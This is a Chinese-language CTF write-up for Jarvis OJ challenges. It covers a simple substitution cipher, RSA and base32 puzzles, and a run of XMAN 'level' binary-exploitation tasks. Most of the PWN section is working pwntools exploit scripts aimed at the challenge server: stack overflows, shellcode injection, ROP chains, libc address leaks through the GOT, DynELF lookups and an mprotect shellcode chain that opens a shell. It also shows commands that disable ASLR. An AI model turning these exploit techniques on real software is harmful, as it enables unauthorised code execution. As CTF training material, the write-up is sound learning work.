jarvis OJ

basic

Baby’s Crack

程序大概就是打开一个命令行输入的 file,然后打开一个 tmp,对 file 加密写入 tmp,将 file 删除,将 tmp 重命名为 file。
直接在 ida 中 F5,关键的代码就是:

while (feof(*(_QWORD *)&argc, argv, v8, v16) == 0) {
	v17 = fgetc(*(_QWORD *)&argc, argv, v9, v16);
    if (v17 != -1 && v17) {
		if (v17 > 47 && v17 <= 96) {
			v17 += 53;
		}
		else if (v17 <= 46) {
			v17 += v17 % 11;
		}
		else {
			v17 -= v17 % 61;
		}
		fputc(*(_QWORD *)&argc, argv, v15, (unsigned int)v17);
	}

我们用 python 对所有 ascii 字符进行加密,然后对照这个密码表,对密文进行解密就行了:

s = "#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
for i in range(len(s)):
	o = ord(s[i])
	
	if o > 47 and o <= 96:
		o += 53
	elif o <= 46:
		o += o % 11
	else:
		o -= o % 61
	
	print( s[i] + " " + chr(o))

部分输出是这样的:

......
- .
. 0
/
0 e
1 f
2 g
3 h
4 i
5 j
6 k
7 l
8 m
9 n
: o
; p
< q
= r
> s
? t
@ u
A v
B w
C x
D y
E z
F {
G |
H }
I ~
J 
K €
L 
M ‚
.....

对照这个密码表,对密文进行解密即可,然后得到的十六进制转换为字符就行了

Easy RSA

推荐看看这个 https://www.anquanke.com/post/id/84632
这里给出一般化脚本,egcd 是拓展欧几里得算法,modinv 是求逆元。

def gcd(a, b):
	if a < b:
		a, b = b, a
	while b != 0:
		temp = a % b
		a = b
		b = temp
	return a
   
def egcd(a, b):
	if a == 0:
		return (b, 0, 1)
	else:
		g, y, x = egcd(b % a, a)
		return (g, x - (b // a) * y, y)

def modinv(a, m):
	g, x, y = egcd(a, m)
	if g != 1:
		raise Exception('modular inverse does not exist')
	else:
		return x % m
		
n = ****
p = ****
q = **** 
print((p-1)*(q-1))	
e = ****
#d = modinv(e, (p-1)*(q-1))
#print(d)

print(hex(pow(c, d, n))) 

Secret

在响应报文里的头部里有个 Secret

veryeasyRSA

同样使用 easy rsa 的那个脚本即可

段子

baidu 吧

USS

Ubiquitous System Security Lab

base64?

base32解码 http://tomeko.net/online_tools/base32.php?lang=en
然后 hex to ascii

PWN

[XMAN]level0

首先检测程序有没有什么防护措施:

USER@NAME:~# checksec ./level0
[*] '/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序很简单,就是 main 函数里调用一个有漏洞的函数 vulnerable_function,其中的 read 函数可能会导致栈溢出:

.text:00000000004005A6 buf             = byte ptr -80h
.text:00000000004005A6
.text:00000000004005A6                 push    rbp
.text:00000000004005A7                 mov     rbp, rsp
.text:00000000004005AA                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005AE                 lea     rax, [rbp+buf]
.text:00000000004005B2                 mov     edx, 200h       ; nbytes
.text:00000000004005B7                 mov     rsi, rax        ; buf
.text:00000000004005BA                 mov     edi, 0          ; fd
.text:00000000004005BF                 call    _read
.text:00000000004005C4                 leave
.text:00000000004005C5                 retn
.text:00000000004005C5 vulnerable_function endp

如果我们覆盖 vulnerable_function 的返回地址为 另一个函数 callsystem 的入口地址,就可以控制程序的执行过程。可以很多种方法得知程序的返回地址距离 buf 的字节数,kali 下有 edb,gdb,还可以手算 φ(* ̄0 ̄) 不再讲了~
注意返回地址应该是64位的!!!
但执行这条指令,不知道为啥 nc 却没有交互 ⊙﹏⊙∥

USER@NAME:~# python -c "print('a'*136 + '\x96\x05\x40\x00\x00\x00\x00\x00')" | nc pwn2.jarvisoj.com 9881

用 pwntools 就行了:

from pwn import *
callsysAdd = 0x400596
payload = 'A' * 136 + p64(callsysAdd)
print(payload)

#conn = process('./level0')
conn = remote('pwn2.jarvisoj.com', 9881)
conn.sendline(payload)
conn.interactive()

本地测试通过。

[XMAN]level1

USER@NAME:~# checksec level1
[*] '/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

发现什么保护措施都没有。代码也很简单:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1
  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

依旧是 vulnerable_function 的 read 有栈溢出漏洞。但是当我们执行这个程序时发现 buf 的地址是再不断变化的,这是因为刚才介绍的 ASLR,kali 默认的是 2,我们改成 0 试试:

USER@NAME:~# echo 0 > ../proc/sys/kernel/randomize_va_space 
USER@NAME:~# cat ../proc/sys/kernel/randomize_va_space 
0
USER@NAME:~# ./level1
What's this:0xffffd2f0?
^C
USER@NAME:~# ./level1
What's this:0xffffd2f0?
^C
USER@NAME:~# echo 2 > ../proc/sys/kernel/randomize_va_space 
USER@NAME:~# cat ../proc/sys/kernel/randomize_va_space 
2
USER@NAME:~# echo 2 > ../proc/sys/kernel/randomize_va_space 
USER@NAME:~# ./level1
What's this:0xff8d58d0?
^C
USER@NAME:~# ./level1
What's this:0xffb6e3f0?
^C  

当我们 nc 连接到服务器时,发现它也使用了 ASLR,就像我们刚才实验的那样。

这题没有 callsystem 供我们调用,只能自己写 shellcode,原理和 level0 一样,覆盖 vulnerable_function 的返回地址。但是 buf 的地址是随机的,我们该如何获取呢?
printf("What's this:%p?\n", &buf);这儿不是输出了么???(;′⌒`) 我怎么这么笨?!

计算出从 buf 首址到返回 main 的栈地址的差为 0x8C 即 140,用 pwntools 写脚本:

from pwn import *
context(arch='i386', os='linux', bits=32)
shellcode = asm(shellcraft.sh())

#conn = process('./level1')
conn = remote('pwn2.jarvisoj.com', '9877')
bufAdd = conn.recvline()[14:-2]
bufAdd = int(bufAdd, 16)
#print(bufAdd)
shellcode = shellcode + 'A' * (140-len(shellcode)) + p32(bufAdd)
#print(len(shellcode))
#print(shellcode)

conn.send(shellcode)
conn.interactive()

本地测试通过。

[XMAN]level2

USER@NAME:~# checksec ./level2 
[*] '/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

发现 NX enable,NX 即 No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
这意味着我们不能像上题那样 return 到 shellcode 然后执行。

但是看到程序调用了 system 函数,我们改变程序的执行流程,让其执行 system,可是该如何保存字符串 /bin/sh 呢?
( ̄_ ̄|||) 在 string window 中看到了躺在 .data 段的 /bin/sh,地址为 0x804A024

脚本如下:

from pwn import *
context(arch='i386', bits=32, os='linux')
sysAdd = 0x804845c
shAdd = 0x804A024
shellcode = 'a' * 140 + p32(sysAdd) + p32(shAdd)

#conn = process('./level2')
conn = remote('pwn2.jarvisoj.com', '9878')
conn.send(shellcode)
conn.interactive()

本地测试通过。

[XMAN]level2(x64)

此题需要注意:64位的 linux 通过 rdi rsi rdx rcx r8 r9 传参。
这点可以从汇编中看出来:

.text:00000000004005F6 vulnerable_function proc near           ; CODE XREF: main+14p
.text:00000000004005F6
.text:00000000004005F6 buf             = byte ptr -80h
.text:00000000004005F6
.text:00000000004005F6                 push    rbp
.text:00000000004005F7                 mov     rbp, rsp
.text:00000000004005FA                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005FE                 mov     edi, offset command ; "echo Input:"
.text:0000000000400603                 call    _system
.text:0000000000400608                 lea     rax, [rbp+buf]
.text:000000000040060C                 mov     edx, 200h       ; nbytes
.text:0000000000400611                 mov     rsi, rax        ; buf
.text:0000000000400614                 mov     edi, 0          ; fd
.text:0000000000400619                 call    _read
.text:000000000040061E                 leave
.text:000000000040061F                 retn
.text:000000000040061F vulnerable_function endp

我们该如何让 rdi 保存 /bin/sh 的地址呢?这题其实是道 ROP 题。
面向返回编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(称为Gadgets)。 每一段gadget通常结束于return指令,并位于共享库代码中的子程序。系列调用这些代码,攻击者可以在拥有更简单攻击防范的程序内执行任意操作。

我们使用 ROPgadget:

USER@NAME:~# ROPgadget --binary ./level2_x64 --only "pop|ret"  | grep rdi
0x00000000004006b3 : pop rdi ; ret

栈结构如下:

原始栈 所要做的操作
buf 首地址 可以用 A 填充
可以用 A 填充
返回 main 的地址 使用 ROPgadget 输出的地址 0x4006b3 将其替代
未知值 使用 /bin/sh 的地址将其替代
未知值 使用 system 函数的地址 0x400603 将其替代

脚本如下:

from pwn import *
context(arch='amd64', bits=64, os='linux')
RdiRetAdd = 0x4006b3
ShAdd = 0x600A90
SysAdd =  0x400603
shellcode = 'a' * 136 + p64(RdiRetAdd) + p64(ShAdd) + p64(SysAdd)

#conn = process('./level2_x64')
conn = remote('pwn2.jarvisoj.com', '9882')
conn.send(shellcode)
conn.interactive()

本地测试通过。

[XMAN]level3

这个题包含了很多深层次的东西,我不一定能解释正确,但我会努力。
题目给了两个文件,一个 level3,一个是 libc-2.19.so,而 libc.so 是共享库文件,包含一些可以被所有 c 程序使用的标准函数。
我们用 checksec 查看一下这两个程序:

user@name:~# checksec ./level3
[*] '/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
user@name:~#  checksec ./libc-2.19.so
[*] '/libc-2.19.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

level3 仍然只有 NX 是打开的,即不能执行栈或其他数据所在位置的指令。PIE 是关掉的,这意味着每次打开 level3 其代码段和数据段都会加载到相同位置。Partial RELRO 是 GCC 的默认设置。

既然 level3 里找不到 system 和 /bin/sh,那么只能利用这个 so 文件了。在这个共享库文件中可以找到 system 函数和 /bin/sh:

user@name:~# strings -t x ./libc-2.19.so | grep '/bin/sh'
 16084c /bin/sh
user@name:~# readelf -s ./libc-2.19.so | grep ' system'
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

level3 的 vulnerable_function 还是那么简单:

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

我们可以利用 read 进行栈溢出,将程序的返回流程转入 write,使用 write 将 GOT 表(如果不知道 GOT 或 PLT 要先去了解一下)中的 read 的内存地址输出到命令行。知道 read 的地址有什么用呢?(⊙_⊙)?

当 libc-2.19.so 被链接时,在文件中的任何库函数之间的距离与它们在内存中的距离是相同的。其实这点我研究了很久,找了很多资料,也不明白究竟应该怎么解释,实在无能为力。如果我以后找到了根据,会来更新的 ╮(╯-╰)╭

这样计算 libc-2.19.so 中 read 与 system 和 /bin/sh 的偏移,就可以得到 system 和 /bin/sh 的内存地址。

综上所述,我们应先利用 read 覆盖 vulnerable_function 的返回地址到 write,使用的是 plt 表中 write 的地址,并使 write 的返回地址为 vulnerable_function,在其输出完 read 的内存地址之后,程序将再次转入到 vulnerable_function,这时我们再利用 read 将返回地址改写到 system。
脚本:

#coding=utf-8
from pwn import *

# ELF可以用来查看elf文件
elf_level3 = ELF('./level3')
symbols_vulfunc = elf_level3.symbols['vulnerable_function']
plt_write = elf_level3.plt['write']
got_read = elf_level3.got['read']

elf_libc = ELF('./libc-2.19.so')
symbols_read = elf_libc.symbols['read']
symbols_system = elf_libc.symbols['system']
string_sh = 0x16084c
offset_system = symbols_system - symbols_read	# 计算文件中 system 和 read 的偏移
offset_sh = string_sh - symbols_read		# 计算文件中 /bin/sh 和 read 的偏移

payload = 'A' * (0x88 + 0x4)		# 填充
payload += p32(plt_write) 		# 转入write(int fd, const void *buf, size_t nbyte)
payload += p32(symbols_vulfunc) 	# 设置write的返回地址为 vulnerable_function
payload += p32(0x1)			# fd = 1
payload += p32(got_read)		# buf = got_read
payload += p32(0x4)			# nbyte = 4

#conn = process('./level3')
conn = remote('pwn2.jarvisoj.com', 9879)
temp = conn.recv()
print(temp)

conn.send(payload)
add_read = u32(conn.recv())

add_system = add_read + offset_system	# 计算 system 内存地址
add_sh = add_read + offset_sh		# 计算 /bin/sh 内存地址

# 再次利用 read 栈溢出
payload1 = 'A' * (0x88 + 0x4) + p32(add_system) + 'A' * 0x4 + p32(add_sh)
print(payload1)
conn.send(payload1)
conn.interactive()

[XMAN]level3(x64)

思路和上题类似,只不过是 64 位程序,要通过 ROPgadget 来寻找 ROP 链:

user@name:~# ROPgadget --binary ./level3x64 | grep 'r[ds][ix]'
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004005d7 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax

如果调用 write 函数,我们需要用 rdi rsi rdx 传递三个参数;rdi rsi 都可以利用 vulnerable_function 的 read 栈溢出构造,然后 pop 出来,但是 rdx 没法这样,不过 rdx 在 vulnerable_function 中被置为了 0x200,因此我们不必操心了。

唯一很麻烦的是,总是遇到 EOF,我到现在依旧没找到很好的解决方案,只能不断测试:

[*] Got EOF while reading in interactive

脚本如下:

#coding=utf-8
from pwn import *
context(arch = 'amd64', bits = 64, os = 'linux')

ELF_level3x64 = ELF('./level3x64')
PLT_write = ELF_level3x64.plt['write']
GOT_read = ELF_level3x64.got['read']
SYMBOL_vulfunc = ELF_level3x64.symbols['vulnerable_function']

ELF_libc = ELF('./libc-2.19.so')
SYMBOL_read = ELF_libc.symbols['read']
SYMBOL_system = ELF_libc.symbols['system']
STRING_bin = 0x17c8c3
OFFSET_system = SYMBOL_system - SYMBOL_read
OFFSET_bin = STRING_bin - SYMBOL_read

#0x00000000004006b3 : pop rdi ; ret
#0x00000000004006b1 : pop rsi ; pop r15 ; ret
ROP_poprdi = p64(0x4006b3)
ROP_poprsi = p64(0x4006b1)

payload = 'A' * (0x80 + 0x8)
payload += ROP_poprdi
payload += p64(1)
payload += ROP_poprsi
payload += p64(GOT_read)
# 因为4006b1处是pop rsi,pop r15,因此要加一个任意值
payload += p64(0xdeadbeef)	
payload += p64(PLT_write)
payload += p64(SYMBOL_vulfunc)

#conn = process(['./level3x64'],env={"LD_PRELOAD":"./libc-2.19x64.so"})
conn = remote('pwn2.jarvisoj.com', '9883')
temp = conn.recv()
#print(temp)
conn.send(payload)
ADD_read = u64(conn.recv(8))
#print(ADD_read)

ADD_system = OFFSET_system + ADD_read
ADD_bin = OFFSET_bin + ADD_read

payload = 'A' * (0x80 + 0x8)
payload += ROP_poprdi
payload += p64(ADD_bin)
payload += p64(ADD_system)
conn.send(payload)
conn.interactive()

本地测试也通过了,只不过有一些命令不能运行,不知道为什么。

[XMAN]level4

user@name:~/1Study/1CTF# checksec ./level4
[*] '/level4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

依然是只有 NX 开着。这题没有共享库文件可用,怎么获取 system 的地址呢?可以使用 pwntools 中的 DynELF,关于它的原理和细节我并不理解。
我们要先定义个 leak 函数,输入参数是某个地址,输出是该地址的内容,而且它应该可以循环调用。然后 lookup 就可以在许多地址中找到 system 的地址,从 count 的输入来看,它可能找了 86 个地址就找到了 system 的地址。我们知道 system 还不够,还要把 /bin/sh 写入数据段或者 bss 段。

脚本:

#coding=utf-8
from pwn import * 

conn = remote('pwn2.jarvisoj.com','9880')
# 对leak的调用次数计数,没啥用
count = 0

# ELF可以用来查看elf文件
elf_level4 = ELF('./level4')  
plt_write = elf_level4.plt['write'] 
plt_read = elf_level4.plt['read'] 
addr_vulfunc = elf_level4.symbols['vulnerable_function'] 
addr_bss = elf_level4.symbols['__bss_start']

def leak(address): 
	global count
	count += 1
	payload1 = 'A' * (0x88 + 0x4) 
	payload1 += p32(plt_write)
	payload1 += p32(addr_vulfunc)
	payload1 += p32(1)
	payload1 += p32(address)
	payload1 += p32(4)
	conn.send(payload1) 
	leak_addr = conn.recv(4) 
	return leak_addr 

d = DynELF(leak, elf = elf_level4) 
addr_system = d.lookup('system', 'libc')
#print(hex(addr_system))
#print(count)

payload2 = 'A' * (0x88 + 0x4) 
payload2 += p32(plt_read)
payload2 += p32(addr_vulfunc)
payload2 += p32(0x0)
payload2 += p32(addr_bss)
payload2 += p32(0x8) 
conn.send(payload2)
sleep(0.2)
conn.send("/bin/sh\x00")
sleep(0.2)

payload3 = 'A' * (0x88 + 0x4)
payload3 += p32(addr_system)
payload3 += 'A' * 0x4
payload3 += p32(addr_bss)
conn.send(payload3)
sleep(0.2)
conn.interactive()

开始时很有可能出现 EOF 错误,不知道为什么。在每次 send 后加上 sleep(0.2) 就行了

[XMAN]level5

题目要求:
假设 system 和 execve 函数被禁用,请尝试使用 mmap 和 mprotect 完成本题

mmap 可以将文件映射在内存中,mprotect 可以改变内存的访问权限,比如读、写、执行,我只用了 mprotect,如果有空会尝试 mmap。

#coding=utf-8
from pwn import*

'''
# mmap

'''

context(arch='amd64', log_level='debug', bits=64, os='linux')
conn = remote('pwn2.jarvisoj.com',9884)

level3 = ELF("./level3x64")
level3_plt_write = level3.plt["write"]
level3_got_write = level3.got["write"]
level3_plt_read = level3.plt['read']
level3_sym_vul = level3.symbols["vulnerable_function"]
level3_sym_bss = level3.symbols['__bss_start']

libc = ELF("./libc-2.19x64.so")
libc_sym_write = libc.symbols['write']
libc_sym_mprotect = libc.symbols['mprotect']

pop_rdi = 0x4006b3
pop_rsir15 = 0x4006b1

log.info("*************************找到mprotect的内存地址")
payload1 = 'A' * (0x80 + 0x8)
payload1 += p64(pop_rdi)		
payload1 += p64(1)						# rdi=1
payload1 += p64(pop_rsir15)	
payload1 += p64(level3_got_write)		# rsi=write_got
payload1 += p64(0xdeadbeef)
payload1 += p64(level3_plt_write)		# call write
payload1 += p64(level3_sym_vul)		# ret vulnerable_function
conn.recv()
conn.send(payload1)
sleep(0.2)

data = conn.recv(8)
add_write = u64(data)

offset = add_write - libc_sym_write
add_mprotect = libc_sym_mprotect + offset
print("mprotect: ["+hex(add_mprotect)+"]")

log.info("*************************把shellcode写到bss段的开头")
payload2 = 'A' * (0x80 + 0x8)
payload2 += p64(pop_rdi)
payload2 += p64(0)						# rdi=0
payload2 += p64(pop_rsir15)
payload2 += p64(level3_sym_bss)		# rsi=level3_sym_bss
payload2 += p64(0xdeadbeef)
payload2 += p64(level3_plt_read)		# call read
payload2 += p64(level3_sym_vul)		# ret vulnerable_function
#sleep(0.2)
conn.send(payload2)
sleep(0.2)

shellcode = asm(shellcraft.sh())
conn.send(shellcode)
sleep(0.2)

log.info("*************************把shellcode的地址写到GOT中")

add_got_bss = 0x600A48
payload3 = 'A' * (0x80 + 0x8)
payload3 += p64(pop_rdi)
payload3 += p64(0)						# rdi = 0
payload3 += p64(pop_rsir15)
payload3 += p64(add_got_bss)			# rsi = add_got_bss
payload3 += p64(0xdeadbeef)
payload3 += p64(level3_plt_read)		# call read
payload3 += p64(level3_sym_vul)		# ret vulnerable_function
conn.send(payload3)
sleep(0.2)
conn.send(p64(level3_sym_bss))
sleep(0.2)

log.info("*************************把mprotect的地址写到GOT中")
add_got_mprotect = 0x600A50
payload4 = 'A' * (0x80 + 0x8)
payload4 += p64(pop_rdi)
payload4 += p64(0)						# rdi = 0
payload4 += p64(pop_rsir15)
payload4 += p64(add_got_mprotect)		# rsi = add_got_mprotect
payload4 += p64(0xdeadbeef)
payload4 += p64(level3_plt_read)		# call read
payload4 += p64(level3_sym_vul)		# ret vulnerable_function

conn.send(payload4)
sleep(0.2)
conn.send(p64(add_mprotect))
sleep(0.2)

log.info("*************************use mprotect and return execu shellcode")
'''
loc_4006A6:
4006A6	add	rsp, 8
4006AA	pop	rbx
4006AB	pop	rbp
4006AC	pop	r12
4006AE	pop	r13
4006B0	pop	r14
4006B2	pop	r15
4006B4	retn
'''
'''
loc_400690:
400690	mov	rdx, r13				; rdx = r13
400693	mov	rsi, r14				; rsi = r14
400696	mov	edi, r15d				; edi = r15d
400699	call qword ptr [r12+rbx*8]	
40069D	add	rbx, 1
4006A1	cmp	rbx, rbp
4006A4	jnz	short loc_400690		; 不相等则跳转
'''
loc_4006A6 = 0x4006A6
loc_400690 = 0x400690

#define PROT_READ	0x1		/* page can be read */
#define PROT_WRITE	0x2		/* page can be written */
#define PROT_EXEC	0x4		/* page can be executed */
#int mprotect(void *addr, size_t len, int prot);

payload5 = 'A' * (0x80 + 0x8)
payload5 += p64(loc_4006A6)		# ret loc_4006A6

# try to call mprotect
payload5 += p64(0xdeadbeef)		# add rsp, 8!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
payload5 += p64(0)				# pop rbx = 0
payload5 += p64(1)				# pop rbp = 1
payload5 += p64(add_got_mprotect)	# pop r12 = add_got_mprotect
payload5 += p64(0x7)			# pop r13 = PROT_READ|PROT_WRITE|PROT_EXEC  (prot)
payload5 += p64(0x1000)			# pop r14 = 0x1000  (len)
payload5 += p64(0x600000)		# pop r15 = 0x600000  (addr)
payload5 += p64(loc_400690) 	# ret loc_400690
								# 以下模拟 ret loc_400690 之后执行的指令
								# mov rdx = r13 = PROT_READ|PROT_WRITE|PROT_EXEC
								# mov rsi = r14 = 0x1000
								# mov esi = r15d = 0x600000
								# call mprotect
								# add rbx = 0 + 1 = 1
								# cmp rbx, rbp
								# not take jnz short loc_400690
								# 然后继续执行 loc_4006A6 处的指令
# try to call shellcode
payload5 += p64(0xdeadbeef)		# add rsp, 8!!!!!!!!!!!!!!!!!!!
payload5 += p64(0)				# pop rbx = 0
payload5 += p64(1)				# pop rbp = 1
payload5 += p64(add_got_bss)	# pop r12 = add_got_bss
payload5 += p64(0)				# pop r13 = 0
payload5 += p64(0)				# pop r14 = 0
payload5 += p64(0)				# pop r15 = 0
payload5 += p64(loc_400690)		# ret loc_400690
								# 以下模拟 ret loc_400690 之后执行的指令
								# mov rdx = r13 = 0
								# mov rsi = r14 = 0
								# mov esi = r15d = 0
								# call add_got_bss
								# add rbx = 0 + 1 = 1
				# cmp rbx, rbp
				# not take jnz short loc_400690

conn.send(payload5)
sleep(0.2)
conn.interactive()

你可能感兴趣的:(CTF)